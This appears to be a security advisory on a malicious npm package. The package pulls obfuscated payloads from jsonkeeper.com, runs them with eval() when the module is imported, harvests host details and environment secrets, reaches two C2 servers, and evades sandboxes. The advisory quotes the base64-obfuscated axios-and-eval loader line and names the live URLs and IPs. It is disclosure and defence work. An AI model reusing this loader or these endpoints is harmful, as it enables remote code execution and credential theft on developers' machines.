GCVE-110-OSM-2026-4751

Executes dual remote-code-injection implants at require-time by fetching two obfuscated JavaScript payloads from www.jsonkeeper.com (staging URLs /b/PJNZP and /b/HY6M6) and evaluating them via eval(). Prior to fetching, the package fingerprints the host — collecting MAC addresses, hostname, platform, and user identity — then hands execution to two separate C2 agents at 216.126.224.247 and 216.126.224.168, both serving obfuscated payloads with child_process, execSync, spawn, and socket.io capabilities. Active anti-sandbox guards exit the process when cloud or CI environments are detected. **Trigger** (`require-time`): `lib/writer.js` executes immediately when the module is imported — no install hook required. **Collection**: Fingerprints the host via `os.networkInterfaces()` (MAC addresses), `os.hostname()`, `os.platform()`, `os.userInfo()`, and a custom `subModuleVersion` field embedded in `package.json`. Spreads `...process.env` into the `data` object, capturing all environment variables (AWS keys, npm tokens, CI secrets) in scope before the eval fires. **Stage-1 fetch**: `require('axios').get(atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9QSk5aUA==")).then(r => {eval(r.data.data);});` — fetches obfuscated JS from `www.jsonkeeper.com/b/PJNZP` and evals the response. Decoded payload contacts C2 at `http://216.126.224.247/api/service/99ab6507766ab818bebb130c5a351a10` using `child_process`, `execSync`, `spawn`, and `socket.io`. **Stage-2 fetch**: A parallel hex-encoded URL resolves to `www.jsonkeeper.com/b/HY6M6`; response evals to a second C2 agent at `http://216.126.224.168/api/service/158aac998a27839ba0c93baa0008a74c` with identical capability set. **Anti-sandbox**: Both payloads check environment variables (CODESPACE, VERCEL, AWS_EXECUTION_ENV, GCP, Azure, Docker, Render) and call `process.exit(1)` on match; a hostname allowlist guard prevents execution outside target environments.